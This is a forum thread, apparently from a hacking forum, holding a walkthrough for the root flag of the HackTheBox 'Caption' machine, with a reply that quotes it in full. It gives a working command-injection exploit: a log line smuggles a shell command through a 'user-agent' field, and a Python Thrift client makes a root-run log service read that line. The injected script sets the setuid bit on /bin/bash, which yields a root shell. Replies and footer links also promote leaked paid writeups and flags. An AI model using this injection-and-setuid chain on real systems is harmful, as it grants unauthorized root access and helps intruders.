Root Flag Caption HTB
by Holz - Friday September 20, 2024 at 08:03 PM
#1
ssh -i id_ecdsa -L 9090:127.0.0.1:9090 margo@caption.htb
 
CREATE THESE FILES ON TARGET MACHINE
--
nano /tmp/malicious.log
127.0.0.1 "user-agent":"'; /bin/bash /tmp/payload.sh #"
 
nano /tmp/payload.sh
chmod +s /bin/bash
 
 
CREATE THIS FILE IN LOCAL MACHINE
---
nano log_service.thrift
 
namespace go log_service
 
service LogService {
    string ReadLogFile(1: string filePath)
}
 
INSTALL THRIFT ON LOCAL MACHINE: sudo apt install python3-thrift
 
thrift -r --gen py log_service.thrift
cd gen-py
 
CREATE FILE ON LOCAL MACHINE:
client.py
 
from thrift import Thrift
from thrift.transport import TSocket
from thrift.transport import TTransport
from thrift.protocol import TBinaryProtocol
from log_service import LogService  # Import generated Thrift client code
 
def main():
    # Set up a transport to the server
    transport = TSocket.TSocket('localhost', 9090)
 
    # Buffering for performance
    transport = TTransport.TBufferedTransport(transport)
 
    # Using a binary protocol
    protocol = TBinaryProtocol.TBinaryProtocol(transport)
 
    # Create a client to use the service
    client = LogService.Client(protocol)
 
    # Open the connection
    transport.open()
 
    try:
        # Specify the log file path to process
        log_file_path = "/tmp/malicious.log"

        # Call the remote method ReadLogFile and get the result
        response = client.ReadLogFile(log_file_path)
        print("Server response:", response)

    except Thrift.TException as tx:
        print(f"Thrift exception: {tx}")
 
    # Close the transport
    transport.close()
 
if __name__ == '__main__':
    main()


run script: python3 client.py    

GO TO TARGET MACHINE AND run /bin/bash -p
 cat /root/root.txt
Reply
#2
ez ctf, great work, i will probably make a thread like this too

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Arrested
Reply
#3
thanks for the write up dude !

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Reposting hidden content for free
Reply
#4
(Sep 20, 2024, 08:03 PM)Holz Wrote: ssh -i id_ecdsa -L 9090:127.0.0.1:9090 margo@caption.htb
 
CREATE THESE FILES ON TARGET MACHINE
--
nano /tmp/malicious.log
127.0.0.1 "user-agent":"'; /bin/bash /tmp/payload.sh #"
 
nano /tmp/payload.sh
chmod +s /bin/bash
 
 
CREATE THIS FILE IN LOCAL MACHINE
---
nano log_service.thrift
 
namespace go log_service
 
service LogService {
    string ReadLogFile(1: string filePath)
}
 
INSTALL THRIFT ON LOCAL MACHINE: sudo apt install python3-thrift
 
thrift -r --gen py log_service.thrift
cd gen-py
 
CREATE FILE ON LOCAL MACHINE:
client.py
 
from thrift import Thrift
from thrift.transport import TSocket
from thrift.transport import TTransport
from thrift.protocol import TBinaryProtocol
from log_service import LogService  # Import generated Thrift client code
 
def main():
    # Set up a transport to the server
    transport = TSocket.TSocket('localhost', 9090)
 
    # Buffering for performance
    transport = TTransport.TBufferedTransport(transport)
 
    # Using a binary protocol
    protocol = TBinaryProtocol.TBinaryProtocol(transport)
 
    # Create a client to use the service
    client = LogService.Client(protocol)
 
    # Open the connection
    transport.open()
 
    try:
        # Specify the log file path to process
        log_file_path = "/tmp/malicious.log"

        # Call the remote method ReadLogFile and get the result
        response = client.ReadLogFile(log_file_path)
        print("Server response:", response)

    except Thrift.TException as tx:
        print(f"Thrift exception: {tx}")
 
    # Close the transport
    transport.close()
 
if __name__ == '__main__':
    main()


run script: python3 client.py    

GO TO TARGET MACHINE AND run /bin/bash -p
 cat /root/root.txt

THANKS FOR SHARE Smile ty

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you feel this is incorrect.
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [FREE] CPTS 12 FLAGS pulsebreaker 66 1,793 6 hours ago
Last Post: vlka
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 370 92,597 11 hours ago
Last Post: lifolifo007
  Hack the box Pro Labs, VIP, VIP+ 1 month free Method RedBlock 23 2,218 Yesterday, 02:10 PM
Last Post: kkkato
  [FREE] HackTheBox Academy - CBBH CDSA CPTS All Modules Flags Techtom 20 2,529 Apr 29, 2026, 11:06 PM
Last Post: op334
Heart [FREE] HackTheBox All Cheatsheets Tamarisk 3 417 Apr 29, 2026, 10:36 PM
Last Post: op334

Forum Jump:


 Users browsing this forum: 1 Guest(s)